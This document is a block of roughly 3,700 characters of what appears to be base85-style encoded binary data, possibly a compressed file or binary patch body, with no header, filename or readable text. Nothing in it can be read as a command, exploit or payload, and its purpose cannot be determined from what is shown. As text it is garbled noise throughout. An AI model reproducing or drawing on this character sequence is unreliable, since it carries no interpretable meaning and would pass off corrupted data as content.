zvo$=2r85Q6i4Qk}%WU_!*Kre|eorY$+mg%TF%b{~XNx9a!cKt4@E&S11;0jouPb1n0|l8su(`-qCVM~|2$?lR zFV{pGANP-W(9eh9!KO;nqJUssv-Iasm(DayL(7l_IKI{STL738U=l);9@51~>UL?0 zNoU3vAW5B)t_Iaf_>~I7kO~+MgFd0%!ldZ5nT&uLBv8xv+a?%d68WrCCa@8ibj7@7 zDK(N^fe?tNccN%P&Of|RB>F_I+LQWBQUn3-Fs3xc)zze`#Y~n20pp)5ddON%=1lRNDj zy10X+#6HxVNOf`~Np%uYN*zL;LMr20QJtetKj&y2=*hJZPRYDB$k>ACW`zzY^ci4vQ=?c(`j|w-t}%Ph&fl6A zp_Yub?|g#-c9?plI%gOd6Ao7W>)8NX2JER_5cE3NPTFU^e8F=py@sgx;wQA7(O^L{ zVR4{tVzW>W5C|RP?Ir`h0!7FeoiTyB9f#6g za-WgZRD0s(Qq>imf1D`F=%Rp4vJIiYjfav76tyz6v7)6?a(LbY7bO;5_&K>CW+e38 zLrIXB1H_3;ZMHegCiVmf4q^gC)mK(CEz;6Tau2~lF6WH*Y~Hyxq><#9q^g1@01Rnb zq_OI_9Fr%qlWnC_x=qTh=Y%X57K=Ch08Z3jn_|VNy&OiKI3>dfC{U;JG%7iN1>pLz zt<%CD0q*Wkl^Lf6$JxY?3zN!=Fitx#paNjOFH*^WMRJxYn%>G?NO<1bxrtn*vVVG% z*W{ceKz5uA!&o13p4tX9@G&tIT1EZbXBv z+(5OeVQS$Lnf%}AQ<_YsU|{ixT8X!*?6xsrYg7=15DMsQLYr|uBge}y2_%Qoaqtr2 z*n!v{Ys#VTV48@C`3OWd04X2jOqRHBP8B$G@0q|j8O$3L~Dn>>FZk-mcMnYU(CgP9LnV`1NDJnQEv&)^n6oy)5N6t+l>9 zceLKJ8AeO47}uUquqh$<(U5Mx_HQ-}`Ozx;w}ZV*LMM@`v?hdwg3@f-Q&BqH+6b?C zNg%*v(hM^Qb@ds8p0EoJ_7i{`q+^iwia~kPX|Z40^iXVahtK5%1Eo8Y@iW&kSZGbL zwB#zBCO&|Ook7r!l0cx$2QW3q?-uO&u}b$(BP&0>f78+Zk5lCH@Y>BL1OPCG4)pu; ze>z3Jc6IuXO>wEVVg%M8u?~4A<|knZ&QSPZtQp+XgjJbOs&g+)Ar2H|28RowX_-}_sUKI)dGloT(Y-+jJNwqyd0&jHmxB2# zuc5%Q(_6lbkE$8Gf0`=l@=tFNvk#CO?$}H47s`}}44T=TE`Aj?^ z5tk8YkoH1?T8ne4&j5kJ`z@O6kY~JFxJ~qf_MfDuq869F+EAnLz;WC1`wH`P4 zq!e{}(In`Z^;RW|;3p-%ZZ#((#>se^&do6@Huxc8&EKk-iz5Mf+0za~`W37I}%6#yLNpPQr zSWU#a8mZk2BOqi`&Fp7qOl|F2r5vWIjdDmV}&$>&qlw=5=od`U|W_GV|T{1zDwtO zWBLG4aZa;!q>o2+ruV@?0D}i*H02BI5LKU^vyd%b7YvlS6jMYKGbSDCCA*oigdi(a zB%S`5Yrl5YVtPXZe%~=fZXo+l?nFL zbtHQzVB|}{!|uu&tI3lLi$5}gc^m3>MfnETRDQ+|-i+KBCv+2O9HpE&{lZ#sN%~T{ zr7nmA^W3jdQX&rKv4sb1J7@D38=9;s6tnp6iJOE!w;1?ZQFYW$7u>7fze`EU>T5+%x}%siz=Bw1uojgB{iW%Kzmz`Sggblg2uO zmCHH{cQ(7@tMK2~XN(uw<1i)d*aau03k2x?&~{=`2Pg`be8X`2{$x?`p2E;|fjgW+ zww`!DG@<$nJ@{?mDgf^H#_I=xxb@@e$ck4qYp_xKuW+R+T>O=V3#Y8@L$xOMexpnHH}75y{5|UFOC5^UJO=*lh9JKCXQA>wVX^ zM1=W$9)FzXx%O`-Chcd>o>J>%@hMoEj0;yz4)sM>LvKBG$sX^umDMuhp_@tVICDACj8MiH&*!B65ur9OZ;- z`XfQVF2{Bc`evVll@H^%d9>8yV6@qO^P#3ZFXuc;vSB+la#$Iu23|IzC(n1e=WH9T z|6D%^sBmJ@vXRn+Fp)4;m2EI@pLrLR;Mn8d3`nH z@gkhQN@}+J%j7MQ9D&~}sgZTg+`vywZ$`_j%e(DI#QQ*r}2Jd|7Q5M(c35$ zV#m-l{xuByWKIQ2JcFLAs3fMQ8h4wP%+w1>cu{YwORj|DBmLZ5udU>l z{4T!y+Cxn%Wtv%#4CvZg7lwYEWmD&=ndHs2xmY;86_a(sH3}Hf{Aw_d-9|<#!cPCn zCY`tMj%}Xg#dgmmD-Kue*S>kT@8j9=<5YE2?0EiGyg^c?A^EP+o2joVcon#wtzL!^ zmMopl@U%_52<{>{nR_XfnH?VX=-sH>f!w#Z6K*=dSBgEup7kH!N_H_JW&TY_#XH>`Z--oEChTTc{(bX0J`sP z5#La)vd*v0$?$^VY zIONiN$Oi1ZbdG+_)y1L*(?t)=Xn1=n-e9jA;5OS=h)zftg^Ju&XUqP`$x>OY#rt*h zrF8A$!D@A;H6BI9ss)JuhnY_Fd{J5E>X6z=sG?1{LLaWJekpmj@W`G7$8YxBpWIKl zoPahdQoc87Ef1(VwAOE>A8T||{L(htHTX?v!HB(JOc=e--$Tcb6riaREgyNZTpa3S0GbeJ*~nYRe5L zWw)H>PCWX&W=9bb?feQzH{6rZQtbDG@=0660fV1$oMOV0bHcivsRiYGGaP^I_6yi! zhqhJY0MQje()XWc>WUZwqEZcsO?e${7^W6C$APa$9S|R=#{5sey!gGJ(j#6#CBB+d zOrpkprc9~5i@ihJK z?MB{lVe?3|S-U)ADC}@{jtkH0dcdo1QB-i><0L<37EZknJ?-o^@H4lz{;Pt%KVd+j*thcbpd^e)xE!?o-0 zUYlPvPD+bH_&lKnHtkHN`?1BJWQDKv?MCIpP>*`qHY7QG9jUQ?me?G<-(CpO5cFY* z{YKiIOn<;xcP}g? zcfrDp6FS){NRI`Q@n=CmVQ`2t4KZ#N{0I1DuSFY{-hLpUccQ|3D2i0|k>%a&k>}@g zxumS0N83$(By9@~qMu;Iip_YcUQUl$VX!{~njBeN?QvoYK0FN*HOnjB z+|?~202tr?w}(uBwJp>k$>yZ-001X+{Og^atBa|-gX!N>roKcnB*$(6j;()(J`Ka` z+sR^xomp~7eyNbj>&4CxS>hozbTG!dg!QXkKQY0sQetLW+-aJU$jM8oK*5ROx%!xI zp>e68g2wwa^-y*ahfLo)2A2Ty{FbDs_t%XqDIHzw&XxZ5!|8T<>?;%^|D^8GZ+d43ChVN`?$Z^bwVAbIvvu4b;3KoJFkdF4uN~J{ z)XFlqCwC{|#X5ISCfallRPR5%T)I8K?Hvqp$I2mpr*|0AK;9(3c>8T^51cC*A-IC| z*@n}{8!neIH5x@(OQOF~g~v-p$3<*KQjWXQR9|=QaGctn^!)uAJi8=5W?7S>#yWgr=bCpRw_?Gv4EDJtiqP`}ba)?I@lgKU!cmm&{35%a zb~~{0$=iCOTlAUT_!Gh+)oBE{^0qpt_~FBDy~~5X6Xa5|x)k1LfPYW-g5z{pa_p2? z_uOxDM1C~L?0XX|>nz&-r-*@t;bOy)oBril4enZdqp#?vU)`-~zpdd{8n2u=Xd{3) zN5DLWz